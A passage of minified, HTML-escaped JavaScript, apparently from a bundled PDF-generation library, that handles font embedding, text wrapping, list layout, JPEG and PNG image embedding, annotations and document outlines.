l=[0,1,2,3,4,5].map(()=&gt;String.fromCharCode(Math.random()*26+65)).join(&quot;&quot;)+&quot;+&quot;+this.font.postscriptName,{bbox:c}=this.font,d=this.document.ref({Type:&quot;FontDescriptor&quot;,FontName:l,Flags:s,FontBBox:[c.minX*this.scale,c.minY*this.scale,c.maxX*this.scale,c.maxY*this.scale],ItalicAngle:this.font.italicAngle,Ascent:this.ascender,Descent:this.descender,CapHeight:(this.font.capHeight||this.font.ascent)*this.scale,XHeight:(this.font.xHeight||0)*this.scale,StemV:0});r?d.data.FontFile3=n:d.data.FontFile2=n,d.end();const u={Type:&quot;Font&quot;,Subtype:&quot;CIDFontType0&quot;,BaseFont:l,CIDSystemInfo:{Registry:new String(&quot;Adobe&quot;),Ordering:new String(&quot;Identity&quot;),Supplement:0},FontDescriptor:d,W:[0,this.widths]};r||(u.Subtype=&quot;CIDFontType2&quot;,u.CIDToGIDMap=&quot;Identity&quot;);const h=this.document.ref(u);return h.end(),this.dictionary.data={Type:&quot;Font&quot;,Subtype:&quot;Type0&quot;,BaseFont:l,Encoding:&quot;Identity-H&quot;,DescendantFonts:[h],ToUnicode:this.toUnicodeCmap()},this.dictionary.end()}toUnicodeCmap(){const r=this.document.ref();let n=[],i=`/CIDInit /ProcSet findresource begin
12 dict begin
begincmap
/CIDSystemInfo &lt;&lt;
  /Registry (Adobe)
  /Ordering (UCS)
  /Supplement 0
&gt;&gt; def
/CMapName /Adobe-Identity-UCS def
/CMapType 2 def
1 begincodespacerange
&lt;0000&gt;&lt;ffff&gt;
endcodespacerange`;for(let[s,o]of this.unicode.entries()){const l=[];n.length&gt;=100&amp;&amp;(i+=`
`+n.length+` beginbfchar
`+n.join(`
`)+`
endbfchar`,n=[]);for(let c of o)c&gt;65535&amp;&amp;(c-=65536,l.push(t3(c&gt;&gt;&gt;10&amp;1023|55296)),c=56320|c&amp;1023),l.push(t3(c));n.push(&quot;&lt;&quot;+t3(s)+&quot;&gt;&lt;&quot;+l.join(&quot; &quot;)+&quot;&gt;&quot;)}return n.length&amp;&amp;(i+=`
`+n.length+` beginbfchar
`+n.join(`
`)+`
endbfchar
`),i+=`endcmap
CMapName currentdict /CMap defineresource pop
end
end`,r.end(i),r}};class SE{static open(t,r,n,i){let s;if(typeof r==&quot;string&quot;){if(HP.isStandardFont(r))return new HP(t,r,i);throw new Error(`Can&#039;t open ${r} in browser build`)}else r instanceof Uint8Array?s=bv(r,n):r instanceof ArrayBuffer?s=bv(new Uint8Array(r),n):typeof r==&quot;object&quot;&amp;&amp;(s=r);if(s==null)throw new Error(&quot;Not a supported font format or standard PDF font.&quot;);return new s6e(t,s,i)}encode(){throw new Error(&quot;Must be implemented by subclasses&quot;)}widthOfString(){throw new Error(&quot;Must be implemented by subclasses&quot;)}ref(){return this.dictionary!=null?this.dictionary:this.dictionary=this.document.ref()}finalize(){if(!(this.embedded||this.dictionary==null))return this.embed(),this.embedded=!0}embed(){throw new Error(&quot;Must be implemented by subclasses&quot;)}lineHeight(t,r){r==null&amp;&amp;(r=!1);const n=r?this.lineGap:0;return(this.ascender+n-this.descender)/1e3*t}}const HP=i6e(SE),s6e=a6e(SE);var o6e={initFonts(){return this._fontFamilies={},this._fontCount=0,this._fontSize=12,this._font=null,this._registeredFonts={},this.font(&quot;Helvetica&quot;)},font(e,t,r){let n,i;if(typeof t==&quot;number&quot;&amp;&amp;(r=t,t=null),typeof e==&quot;string&quot;&amp;&amp;this._registeredFonts[e]?(n=e,{src:e,family:t}=this._registeredFonts[e]):(n=t||e,typeof n!=&quot;string&quot;&amp;&amp;(n=null)),r!=null&amp;&amp;this.fontSize(r),i=this._fontFamilies[n])return this._font=i,this;const s=`F${++this._fontCount}`;return this._font=SE.open(this,e,t,s),(i=this._fontFamilies[this._font.name])?(this._font=i,this):(n&amp;&amp;(this._fontFamilies[n]=this._font),this._font.name&amp;&amp;(this._fontFamilies[this._font.name]=this._font),this)},fontSize(e){return this._fontSize=e,this},currentLineHeight(e){return e==null&amp;&amp;(e=!1),this._font.lineHeight(this._fontSize,e)},registerFont(e,t,r){return this._registeredFonts[e]={src:t,family:r},this}};function wb(e){return Math.fround(e)}const qP=&quot;­&quot;,r3=&quot;-&quot;;class ZN extends qi{constructor(t,r){super(),this.document=t,this.horizontalScaling=r.horizontalScaling||100,this.indent=(r.indent||0)*this.horizontalScaling/100,this.characterSpacing=(r.characterSpacing||0)*this.horizontalScaling/100,this.wordSpacing=(r.wordSpacing===0)*this.horizontalScaling/100,this.columns=r.columns||1,this.columnGap=(r.columnGap!=null?r.columnGap:18)*this.horizontalScaling/100,this.lineWidth=(r.width*this.horizontalScaling/100-this.columnGap*(this.columns-1))/this.columns,this.spaceLeft=this.lineWidth,this.startX=this.document.x,this.startY=this.document.y,this.column=1,this.ellipsis=r.ellipsis,this.continuedX=0,this.features=r.features,r.height!=null?(this.height=r.height,this.maxY=wb(this.startY+r.height)):this.maxY=wb(this.document.page.maxY()),this.on(&quot;firstLine&quot;,n=&gt;{const i=this.continuedX||this.indent;if(this.document.x+=i,this.lineWidth-=i,!n.indentAllLines)return this.once(&quot;line&quot;,()=&gt;{if(this.document.x-=i,this.lineWidth+=i,n.continued&amp;&amp;!this.continuedX&amp;&amp;(this.continuedX=this.indent),!n.continued)return this.continuedX=0})}),this.on(&quot;lastLine&quot;,n=&gt;{const{align:i}=n;return i===&quot;justify&quot;&amp;&amp;(n.align=&quot;left&quot;),this.lastLine=!0,this.once(&quot;line&quot;,()=&gt;(this.document.y+=n.paragraphGap||0,n.align=i,this.lastLine=!1))})}wordWidth(t){return this.document.widthOfString(t,this)+this.characterSpacing+this.wordSpacing}canFit(t,r){return t[t.length-1]!=qP?r&lt;=this.spaceLeft:r+this.wordWidth(r3)&lt;=this.spaceLeft}eachWord(t,r){let n;const i=new cq(t);let s=null;const o=Object.create(null);for(;n=i.nextBreak();){var l;let u=t.slice(s?.position||0,n.position),h=o[u]!=null?o[u]:o[u]=this.wordWidth(u);if(h&gt;this.lineWidth+this.continuedX){let p=s;const A={};for(;u.length;){var c,d;h&gt;this.spaceLeft?(c=Math.ceil(this.spaceLeft/(h/u.length)),h=this.wordWidth(u.slice(0,c)),d=h&lt;=this.spaceLeft&amp;&amp;c&lt;u.length):c=u.length;let y=h&gt;this.spaceLeft&amp;&amp;c&gt;0;for(;y||d;)y?(h=this.wordWidth(u.slice(0,--c)),y=h&gt;this.spaceLeft&amp;&amp;c&gt;0):(h=this.wordWidth(u.slice(0,++c)),y=h&gt;this.spaceLeft&amp;&amp;c&gt;0,d=h&lt;=this.spaceLeft&amp;&amp;c&lt;u.length);if(c===0&amp;&amp;this.spaceLeft===this.lineWidth&amp;&amp;(c=1),A.required=n.required||c&lt;u.length,l=r(u.slice(0,c),h,A,p),p={required:!1},u=u.slice(c),h=this.wordWidth(u),l===!1)break}}else l=r(u,h,n,s);if(l===!1)break;s=n}}wrap(t,r){this.horizontalScaling=r.horizontalScaling||100,r.indent!=null&amp;&amp;(this.indent=r.indent*this.horizontalScaling/100),r.characterSpacing!=null&amp;&amp;(this.characterSpacing=r.characterSpacing*this.horizontalScaling/100),r.wordSpacing!=null&amp;&amp;(this.wordSpacing=r.wordSpacing*this.horizontalScaling/100),r.ellipsis!=null&amp;&amp;(this.ellipsis=r.ellipsis);const n=this.document.y+this.document.currentLineHeight(!0);(this.document.y&gt;this.maxY||n&gt;this.maxY)&amp;&amp;this.nextSection();let i=&quot;&quot;,s=0,o=0,l=0,{y:c}=this.document;const d=()=&gt;(r.textWidth=s+this.wordSpacing*(o-1),r.wordCount=o,r.lineWidth=this.lineWidth,{y:c}=this.document,this.emit(&quot;line&quot;,i,r,this),l++);return this.emit(&quot;sectionStart&quot;,r,this),this.eachWord(t,(u,h,p,A)=&gt;{if((A==null||A.required)&amp;&amp;(this.emit(&quot;firstLine&quot;,r,this),this.spaceLeft=this.lineWidth),this.canFit(u,h)&amp;&amp;(i+=u,s+=h,o++),p.required||!this.canFit(u,h)){const y=this.document.currentLineHeight(!0);if(this.height!=null&amp;&amp;this.ellipsis&amp;&amp;wb(this.document.y+y*2)&gt;this.maxY&amp;&amp;this.column&gt;=this.columns){for(this.ellipsis===!0&amp;&amp;(this.ellipsis=&quot;…&quot;),i=i.replace(/\s+$/,&quot;&quot;),s=this.wordWidth(i+this.ellipsis);i&amp;&amp;s&gt;this.lineWidth;)i=i.slice(0,-1).replace(/\s+$/,&quot;&quot;),s=this.wordWidth(i+this.ellipsis);s&lt;=this.lineWidth&amp;&amp;(i=i+this.ellipsis),s=this.wordWidth(i)}return p.required&amp;&amp;(h&gt;this.spaceLeft&amp;&amp;(d(),i=u,s=h,o=1),this.emit(&quot;lastLine&quot;,r,this)),i[i.length-1]==qP&amp;&amp;(i=i.slice(0,-1)+r3,this.spaceLeft-=this.wordWidth(r3)),d(),wb(this.document.y+y)&gt;this.maxY&amp;&amp;!this.nextSection()?(o=0,i=&quot;&quot;,!1):p.required?(this.spaceLeft=this.lineWidth,i=&quot;&quot;,s=0,o=0):(this.spaceLeft=this.lineWidth-h,i=u,s=h,o=1)}else return this.spaceLeft-=h}),o&gt;0&amp;&amp;(this.emit(&quot;lastLine&quot;,r,this),d()),this.emit(&quot;sectionEnd&quot;,r,this),r.continued===!0?(l&gt;1&amp;&amp;(this.continuedX=0),this.continuedX+=r.textWidth||0,this.document.y=c):this.document.x=this.startX}nextSection(t){if(this.emit(&quot;sectionEnd&quot;,t,this),++this.column&gt;this.columns){if(this.height!=null)return!1;this.document.continueOnNewPage(),this.column=1,this.startY=this.document.page.margins.top,this.maxY=this.document.page.maxY(),this.document.x=this.startX,this.document._fillColor&amp;&amp;this.document.fillColor(...this.document._fillColor),this.emit(&quot;pageBreak&quot;,t,this)}else this.document.x+=this.lineWidth+this.columnGap,this.document.y=this.startY,this.emit(&quot;columnBreak&quot;,t,this);return this.emit(&quot;sectionStart&quot;,t,this),!0}}const{number:Qf}=uu;var l6e={initText(){return this._line=this._line.bind(this),this.x=0,this.y=0,this._lineGap=0},lineGap(e){return this._lineGap=e,this},moveDown(e){return e==null&amp;&amp;(e=1),this.y+=this.currentLineHeight(!0)*e+this._lineGap,this},moveUp(e){return e==null&amp;&amp;(e=1),this.y-=this.currentLineHeight(!0)*e+this._lineGap,this},_text(e,t,r,n,i){n=this._initOptions(t,r,n),e=e==null?&quot;&quot;:`${e}`,n.wordSpacing&amp;&amp;(e=e.replace(/\s{2,}/g,&quot; &quot;));const s=()=&gt;{n.structParent&amp;&amp;n.structParent.add(this.struct(n.structType||&quot;P&quot;,[this.markStructureContent(n.structType||&quot;P&quot;)]))};if(n.rotation!==0&amp;&amp;(this.save(),this.rotate(-n.rotation,{origin:[this.x,this.y]})),n.width){let o=this._wrapper;o||(o=new ZN(this,n),o.on(&quot;line&quot;,i),o.on(&quot;firstLine&quot;,s)),this._wrapper=n.continued?o:null,this._textOptions=n.continued?n:null,o.wrap(e,n)}else for(let o of e.split(`
`))s(),i(o,n);return n.rotation!==0&amp;&amp;this.restore(),this},text(e,t,r,n){return this._text(e,t,r,n,this._line)},widthOfString(e,t){t===void 0&amp;&amp;(t={});const r=t.horizontalScaling||100;return(this._font.widthOfString(e,this._fontSize,t.features)+(t.characterSpacing||0)*(e.length-1))*r/100},boundsOfString(e,t,r,n){},heightOfString(e,t){const{x:r,y:n}=this;t=this._initOptions(t),t.height=1/0;const i=t.lineGap||this._lineGap||0;this._text(e,this.x,this.y,t,()=&gt;this.y+=this.currentLineHeight(!0)+i);const s=this.y-n;return this.x=r,this.y=n,s},list(e,t,r,n,i){n=this._initOptions(t,r,n);const s=n.listType||&quot;bullet&quot;,o=Math.round(this._font.ascender/1e3*this._fontSize),l=o/2,c=n.bulletRadius||o/3,d=n.textIndent||(s===&quot;bullet&quot;?c*5:o*2),u=n.bulletIndent||(s===&quot;bullet&quot;?c*8:o*2);let h=1;const p=[],A=[],y=[];var v=function(E){let S=1;for(let _=0;_&lt;E.length;_++){const C=E[_];Array.isArray(C)?(h++,v(C),h--):(p.push(C),A.push(h),s!==&quot;bullet&quot;&amp;&amp;y.push(S++))}};v(e);const w=function(E){switch(s){case&quot;numbered&quot;:return`${E}.`;case&quot;lettered&quot;:var S=String.fromCharCode((E-1)%26+65),_=Math.floor((E-1)/26+1),C=Array(_+1).join(S);return`${C}.`}},j=function(E,S){i=new ZN(this,n),i.on(&quot;line&quot;,this._line),h=1,i.once(&quot;firstLine&quot;,()=&gt;{let _,C,Q,R;n.structParent&amp;&amp;(n.structTypes?[C,Q,R]=n.structTypes:[C,Q,R]=[&quot;LI&quot;,&quot;Lbl&quot;,&quot;LBody&quot;]),C?(_=this.struct(C),n.structParent.add(_)):n.structParent&amp;&amp;(_=n.structParent);let T;if((T=A[S++])!==h){const O=u*(T-h);this.x+=O,i.lineWidth-=O,h=T}switch(_&amp;&amp;(Q||R)&amp;&amp;_.add(this.struct(Q||R,[this.markStructureContent(Q||R)])),s){case&quot;bullet&quot;:this.circle(this.x-d+c,this.y+l,c),this.fill();break;case&quot;numbered&quot;:case&quot;lettered&quot;:var M=w(y[S-1]);this._fragment(M,this.x-d,this.y,n);break}_&amp;&amp;Q&amp;&amp;R&amp;&amp;_.add(this.struct(R,[this.markStructureContent(R)])),_&amp;&amp;_!==n.structParent&amp;&amp;_.end()}),i.on(&quot;sectionStart&quot;,()=&gt;{const _=d+u*(h-1);return this.x+=_,i.lineWidth-=_}),i.on(&quot;sectionEnd&quot;,()=&gt;{const _=d+u*(h-1);return this.x-=_,i.lineWidth+=_}),i.wrap(E,n)};for(let E=0;E&lt;p.length;E++)j.call(this,p[E],E);return this},_initOptions(e,t,r){var n;e===void 0&amp;&amp;(e={}),r===void 0&amp;&amp;(r={}),typeof e==&quot;object&quot;&amp;&amp;(r=e,e=null);const i=Object.assign({},r);if(this._textOptions)for(let s in this._textOptions){const o=this._textOptions[s];s!==&quot;continued&quot;&amp;&amp;i[s]===void 0&amp;&amp;(i[s]=o)}return e!=null&amp;&amp;(this.x=e),t!=null&amp;&amp;(this.y=t),i.lineBreak!==!1&amp;&amp;(i.width==null&amp;&amp;(i.width=this.page.width-this.x-this.page.margins.right),i.width=Math.max(i.width,0)),i.columns||(i.columns=0),i.columnGap==null&amp;&amp;(i.columnGap=18),i.rotation=Number((n=r.rotation)!==null&amp;&amp;n!==void 0?n:0)%360,i.rotation&lt;0&amp;&amp;(i.rotation+=360),i},_line(e,t,r){t===void 0&amp;&amp;(t={}),this._fragment(e,this.x,this.y,t);const n=t.lineGap||this._lineGap||0;return r?this.y+=this.currentLineHeight(!0)+n:this.x+=this.widthOfString(e,t)},_fragment(e,t,r,n){let i,s,o,l,c,d;if(e=`${e}`.replace(/\n/g,&quot;&quot;),e.length===0)return;const u=n.align||&quot;left&quot;;let h=n.wordSpacing||0;const p=n.characterSpacing||0,A=n.horizontalScaling||100;if(n.width)switch(u){case&quot;right&quot;:c=this.widthOfString(e.replace(/\s+$/,&quot;&quot;),n),t+=n.lineWidth-c;break;case&quot;center&quot;:t+=n.lineWidth/2-n.textWidth/2;break;case&quot;justify&quot;:d=e.trim().split(/\s+/),c=this.widthOfString(e.replace(/\s+/g,&quot;&quot;),n);var y=this.widthOfString(&quot; &quot;)+p;h=Math.max(0,(n.lineWidth-c)/Math.max(1,d.length-1)-y);break}if(typeof n.baseline==&quot;number&quot;)i=-n.baseline;else{switch(n.baseline){case&quot;svg-middle&quot;:i=.5*this._font.xHeight;break;case&quot;middle&quot;:case&quot;svg-central&quot;:i=.5*(this._font.descender+this._font.ascender);break;case&quot;bottom&quot;:case&quot;ideographic&quot;:i=this._font.descender;break;case&quot;alphabetic&quot;:i=0;break;case&quot;mathematical&quot;:i=.5*this._font.ascender;break;case&quot;hanging&quot;:i=.8*this._font.ascender;break;case&quot;top&quot;:i=this._font.ascender;break;default:i=this._font.ascender}i=i/1e3*this._fontSize}const v=n.textWidth+h*(n.wordCount-1)+p*(e.length-1);if(n.link!=null&amp;&amp;this.link(t,r,v,this.currentLineHeight(),n.link),n.goTo!=null&amp;&amp;this.goTo(t,r,v,this.currentLineHeight(),n.goTo),n.destination!=null&amp;&amp;this.addNamedDestination(n.destination,&quot;XYZ&quot;,t,r,null),n.underline){this.save(),n.stroke||this.strokeColor(...this._fillColor||[]);const R=this._fontSize&lt;10?.5:Math.floor(this._fontSize/10);this.lineWidth(R);let T=r+this.currentLineHeight()-R;this.moveTo(t,T),this.lineTo(t+v,T),this.stroke(),this.restore()}if(n.strike){this.save(),n.stroke||this.strokeColor(...this._fillColor||[]);const R=this._fontSize&lt;10?.5:Math.floor(this._fontSize/10);this.lineWidth(R);let T=r+this.currentLineHeight()/2;this.moveTo(t,T),this.lineTo(t+v,T),this.stroke(),this.restore()}if(this.save(),n.oblique){let R;typeof n.oblique==&quot;number&quot;?R=-Math.tan(n.oblique*Math.PI/180):R=-.25,this.transform(1,0,0,1,t,r),this.transform(1,0,R,1,-R*i,0),this.transform(1,0,0,1,-t,-r)}this.transform(1,0,0,-1,0,this.page.height),r=this.page.height-r-i,this.page.fonts[this._font.id]==null&amp;&amp;(this.page.fonts[this._font.id]=this._font.ref()),this.addContent(&quot;BT&quot;),this.addContent(`1 0 0 1 ${Qf(t)} ${Qf(r)} Tm`),this.addContent(`/${this._font.id} ${Qf(this._fontSize)} Tf`);const w=n.fill&amp;&amp;n.stroke?2:n.stroke?1:0;if(w&amp;&amp;this.addContent(`${w} Tr`),p&amp;&amp;this.addContent(`${Qf(p)} Tc`),A!==100&amp;&amp;this.addContent(`${A} Tz`),h){d=e.trim().split(/\s+/),h+=this.widthOfString(&quot; &quot;)+p,h*=1e3/this._fontSize,s=[],l=[];for(let R of d){const[T,M]=this._font.encode(R,n.features);s=s.concat(T),l=l.concat(M);const O={},$=l[l.length-1];for(let P in $){const L=$[P];O[P]=L}O.xAdvance+=h,l[l.length-1]=O}}else[s,l]=this._font.encode(e,n.features);const j=this._fontSize/1e3,E=[];let S=0,_=!1;const C=R=&gt;{if(S&lt;R){const T=s.slice(S,R).join(&quot;&quot;),M=l[R-1].xAdvance-l[R-1].advanceWidth;E.push(`&lt;${T}&gt; ${Qf(-M)}`)}return S=R},Q=R=&gt;{if(C(R),E.length&gt;0)return this.addContent(`[${E.join(&quot; &quot;)}] TJ`),E.length=0};for(o=0;o&lt;l.length;o++){const R=l[o];R.xOffset||R.yOffset?(Q(o),this.addContent(`1 0 0 1 ${Qf(t+R.xOffset*j)} ${Qf(r+R.yOffset*j)} Tm`),Q(o+1),_=!0):(_&amp;&amp;(this.addContent(`1 0 0 1 ${Qf(t)} ${Qf(r)} Tm`),_=!1),R.xAdvance-R.advanceWidth!==0&amp;&amp;C(o+1)),t+=R.xAdvance*j}return Q(o),this.addContent(&quot;ET&quot;),this.restore()}};const c6e={1:&quot;DeviceGray&quot;,3:&quot;DeviceRGB&quot;,4:&quot;DeviceCMYK&quot;};let u6e=class{constructor(t,r){if(this.data=t,this.label=r,this.orientation=1,this.data.readUInt16BE(0)!==65496)throw&quot;SOI not found in JPEG&quot;;const n=pq.decode(this.data);for(let i=0;i&lt;n.length;i+=1){const s=n[i];s.name===&quot;EXIF&quot;&amp;&amp;s.entries.orientation&amp;&amp;(this.orientation=s.entries.orientation),s.name===&quot;SOF&quot;&amp;&amp;(this.bits||=s.precision,this.width||=s.width,this.height||=s.height,this.colorSpace||=c6e[s.numberOfComponents])}this.obj=null}embed(t){if(!this.obj)return this.obj=t.ref({Type:&quot;XObject&quot;,Subtype:&quot;Image&quot;,BitsPerComponent:this.bits,Width:this.width,Height:this.height,ColorSpace:this.colorSpace,Filter:&quot;DCTDecode&quot;}),this.colorSpace===&quot;DeviceCMYK&quot;&amp;&amp;(this.obj.data.Decode=[1,0,1,0,1,0,1,0]),this.obj.end(this.data),this.data=null}};class d6e{constructor(t,r){this.label=r,this.image=new $G(t),this.width=this.image.width,this.height=this.image.height,this.imgData=this.image.imgData,this.obj=null}embed(t){let r=!1;if(this.document=t,this.obj)return;const n=this.image.hasAlphaChannel,i=this.image.interlaceMethod===1;if(this.obj=this.document.ref({Type:&quot;XObject&quot;,Subtype:&quot;Image&quot;,BitsPerComponent:n?8:this.image.bits,Width:this.width,Height:this.height,Filter:&quot;FlateDecode&quot;}),!n){const s=this.document.ref({Predictor:i?1:15,Colors:this.image.colors,BitsPerComponent:this.image.bits,Columns:this.width});this.obj.data.DecodeParms=s,s.end()}if(this.image.palette.length===0)this.obj.data.ColorSpace=this.image.colorSpace;else{const s=this.document.ref();s.end(kt.from(this.image.palette)),this.obj.data.ColorSpace=[&quot;Indexed&quot;,&quot;DeviceRGB&quot;,this.image.palette.length/3-1,s]}if(this.image.transparency.grayscale!=null){const s=this.image.transparency.grayscale;this.obj.data.Mask=[s,s]}else if(this.image.transparency.rgb){const{rgb:s}=this.image.transparency,o=[];for(let l of s)o.push(l,l);this.obj.data.Mask=o}else{if(this.image.transparency.indexed)return r=!0,this.loadIndexedAlphaChannel();if(n)return r=!0,this.splitAlphaChannel()}if(i&amp;&amp;!r)return this.decodeData();this.finalize()}finalize(){if(this.alphaChannel){const t=this.document.ref({Type:&quot;XObject&quot;,Subtype:&quot;Image&quot;,Height:this.height,Width:this.width,BitsPerComponent:8,Filter:&quot;FlateDecode&quot;,ColorSpace:&quot;DeviceGray&quot;,Decode:[0,1]});t.end(this.alphaChannel),this.obj.data.SMask=t}return this.obj.end(this.imgData),this.image=null,this.imgData=null}splitAlphaChannel(){return this.image.decodePixels(t=&gt;{let r,n;const i=this.image.colors,s=this.width*this.height,o=kt.alloc(s*i),l=kt.alloc(s);let c=n=r=0;const d=t.length,u=this.image.bits===16?1:0;for(;c&lt;d;){for(let h=0;h&lt;i;h++)o[n++]=t[c++],c+=u;l[r++]=t[c++],c+=u}return this.imgData=Mx.deflateSync(o),this.alphaChannel=Mx.deflateSync(l),this.finalize()})}loadIndexedAlphaChannel(){const t=this.image.transparency.indexed;return this.image.decodePixels(r=&gt;{const n=kt.alloc(this.width*this.height);let i=0;for(let s=0,o=r.length;s&lt;o;s++)n[i++]=t[r[s]];return this.alphaChannel=Mx.deflateSync(n),this.finalize()})}decodeData(){this.image.decodePixels(t=&gt;{this.imgData=Mx.deflateSync(t),this.finalize()})}}class f6e{static open(t,r){let n;if(kt.isBuffer(t))n=t;else if(t instanceof ArrayBuffer)n=kt.from(new Uint8Array(t));else{let i;if(i=/^data:.+?;base64,(.*)$/.exec(t))n=kt.from(i[1],&quot;base64&quot;);else if(n=Uw.readFileSync(t),!n)return}if(n[0]===255&amp;&amp;n[1]===216)return new u6e(n,r);if(n[0]===137&amp;&amp;n.toString(&quot;ascii&quot;,1,4)===&quot;PNG&quot;)return new d6e(n,r);throw new Error(&quot;Unknown image format.&quot;)}}var h6e={initImages(){return this._imageRegistry={},this._imageCount=0},image(e,t,r,n){n===void 0&amp;&amp;(n={});let i,s,o,l,c,d,u,h,p,A;typeof t==&quot;object&quot;&amp;&amp;(n=t,t=null);const y=n.ignoreOrientation||n.ignoreOrientation!==!1&amp;&amp;this.options.ignoreOrientation;t=(d=t??n.x)!=null?d:this.x,r=(u=r??n.y)!=null?u:this.y,typeof e==&quot;string&quot;&amp;&amp;(l=this._imageRegistry[e]),l||(e.width&amp;&amp;e.height?l=e:l=this.openImage(e)),l.obj||l.embed(this),this.page.xobjects[l.label]==null&amp;&amp;(this.page.xobjects[l.label]=l.obj);let{width:v,height:w}=l;!y&amp;&amp;l.orientation&gt;4&amp;&amp;([v,w]=[w,v]);let j=n.width||v,E=n.height||w;if(n.width&amp;&amp;!n.height){const S=j/v;j=v*S,E=w*S}else if(n.height&amp;&amp;!n.width){const S=E/w;j=v*S,E=w*S}else n.scale?(j=v*n.scale,E=w*n.scale):n.fit?([o,i]=n.fit,s=o/i,c=v/w,c&gt;s?(j=o,E=o/c):(E=i,j=i*c)):n.cover&amp;&amp;([o,i]=n.cover,s=o/i,c=v/w,c&gt;s?(E=i,j=i*c):(j=o,E=o/c));if((n.fit||n.cover)&amp;&amp;(n.align===&quot;center&quot;?t=t+o/2-j/2:n.align===&quot;right&quot;&amp;&amp;(t=t+o-j),n.valign===&quot;center&quot;?r=r+i/2-E/2:n.valign===&quot;bottom&quot;&amp;&amp;(r=r+i-E)),y)E=-E,r-=E,h=0;else switch(l.orientation){default:case 1:E=-E,r-=E,h=0;break;case 2:j=-j,E=-E,t-=j,r-=E,h=0;break;case 3:p=t,A=r,E=-E,t-=j,h=180;break;case 4:break;case 5:p=t,A=r,[j,E]=[E,j],r-=E,h=90;break;case 6:p=t,A=r,[j,E]=[E,j],E=-E,h=90;break;case 7:p=t,A=r,[j,E]=[E,j],E=-E,j=-j,t-=j,h=90;break;case 8:p=t,A=r,[j,E]=[E,j],E=-E,t-=j,r-=E,h=-90;break}return n.link!=null&amp;&amp;this.link(t,r,j,E,n.link),n.goTo!=null&amp;&amp;this.goTo(t,r,j,E,n.goTo),n.destination!=null&amp;&amp;this.addNamedDestination(n.destination,&quot;XYZ&quot;,t,r,null),this.y===r&amp;&amp;(this.y+=E),this.save(),h&amp;&amp;this.rotate(h,{origin:[p,A]}),this.transform(j,0,0,E,t,r),this.addContent(`/${l.label} Do`),this.restore(),this},openImage(e){let t;return typeof e==&quot;string&quot;&amp;&amp;(t=this._imageRegistry[e]),t||(t=f6e.open(e,`I${++this._imageCount}`),typeof e==&quot;string&quot;&amp;&amp;(this._imageRegistry[e]=t)),t}},m6e={annotate(e,t,r,n,i){i.Type=&quot;Annot&quot;,i.Rect=this._convertRect(e,t,r,n),i.Border=[0,0,0],i.Subtype===&quot;Link&quot;&amp;&amp;typeof i.F&gt;&quot;u&quot;&amp;&amp;(i.F=4),i.Subtype!==&quot;Link&quot;&amp;&amp;i.C==null&amp;&amp;(i.C=this._normalizeColor(i.color||[0,0,0])),delete i.color,typeof i.Dest==&quot;string&quot;&amp;&amp;(i.Dest=new String(i.Dest));for(let o in i){const l=i[o];i[o[0].toUpperCase()+o.slice(1)]=l}const s=this.ref(i);return this.page.annotations.push(s),s.end(),this},note(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),s.Subtype=&quot;Text&quot;,s.Contents=new String(i),s.Name==null&amp;&amp;(s.Name=&quot;Comment&quot;),s.color==null&amp;&amp;(s.color=[243,223,92]),this.annotate(e,t,r,n,s)},goTo(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),s.Subtype=&quot;Link&quot;,s.A=this.ref({S:&quot;GoTo&quot;,D:new String(i)}),s.A.end(),this.annotate(e,t,r,n,s)},link(e,t,r,n,i,s){if(s===void 0&amp;&amp;(s={}),s.Subtype=&quot;Link&quot;,typeof i==&quot;number&quot;){const o=this._root.data.Pages.data;if(i&gt;=0&amp;&amp;i&lt;o.Kids.length)s.A=this.ref({S:&quot;GoTo&quot;,D:[o.Kids[i],&quot;XYZ&quot;,null,null,null]}),s.A.end();else throw new Error(`The document has no page ${i}`)}else s.A=this.ref({S:&quot;URI&quot;,URI:new String(i)}),s.A.end();return this.annotate(e,t,r,n,s)},_markup(e,t,r,n,i){i===void 0&amp;&amp;(i={});const[s,o,l,c]=this._convertRect(e,t,r,n);return i.QuadPoints=[s,c,l,c,s,o,l,o],i.Contents=new String,this.annotate(e,t,r,n,i)},highlight(e,t,r,n,i){return i===void 0&amp;&amp;(i={}),i.Subtype=&quot;Highlight&quot;,i.color==null&amp;&amp;(i.color=[241,238,148]),this._markup(e,t,r,n,i)},underline(e,t,r,n,i){return i===void 0&amp;&amp;(i={}),i.Subtype=&quot;Underline&quot;,this._markup(e,t,r,n,i)},strike(e,t,r,n,i){return i===void 0&amp;&amp;(i={}),i.Subtype=&quot;StrikeOut&quot;,this._markup(e,t,r,n,i)},lineAnnotation(e,t,r,n,i){return i===void 0&amp;&amp;(i={}),i.Subtype=&quot;Line&quot;,i.Contents=new String,i.L=[e,this.page.height-t,r,this.page.height-n],this.annotate(e,t,r,n,i)},rectAnnotation(e,t,r,n,i){return i===void 0&amp;&amp;(i={}),i.Subtype=&quot;Square&quot;,i.Contents=new String,this.annotate(e,t,r,n,i)},ellipseAnnotation(e,t,r,n,i){return i===void 0&amp;&amp;(i={}),i.Subtype=&quot;Circle&quot;,i.Contents=new String,this.annotate(e,t,r,n,i)},textAnnotation(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),s.Subtype=&quot;FreeText&quot;,s.Contents=new String(i),s.DA=new String,this.annotate(e,t,r,n,s)},fileAnnotation(e,t,r,n,i,s){i===void 0&amp;&amp;(i={}),s===void 0&amp;&amp;(s={});const o=this.file(i.src,Object.assign({hidden:!0},i));return s.Subtype=&quot;FileAttachment&quot;,s.FS=o,s.Contents?s.Contents=new String(s.Contents):o.data.Desc&amp;&amp;(s.Contents=o.data.Desc),this.annotate(e,t,r,n,s)},_convertRect(e,t,r,n){let i=t;t+=n;let s=e+r;const[o,l,c,d,u,h]=this._ctm;return e=o*e+c*t+u,t=l*e+d*t+h,s=o*s+c*i+u,i=l*s+d*i+h,[e,t,s,i]}};const GP={top:0,left:0,zoom:0,fit:!1,pageNumber:null,expanded:!1};class o8{constructor(t,r,n,i,s){if(s===void 0&amp;&amp;(s=GP),this.document=t,this.options=s,this.outlineData={},i!==null){const o=i.data.MediaBox[2],c=i.data.MediaBox[3]-(s.top||0),d=o-(s.left||0),u=s.zoom||0;this.outlineData.Dest=s.fit?[i,&quot;Fit&quot;]:[i,&quot;XYZ&quot;,d,c,u]}r!==null&amp;&amp;(this.outlineData.Parent=r),n!==null&amp;&amp;(this.outlineData.Title=new String(n)),this.dictionary=this.document.ref(this.outlineData),this.children=[]}addItem(t,r){r===void 0&amp;&amp;(r=GP);const 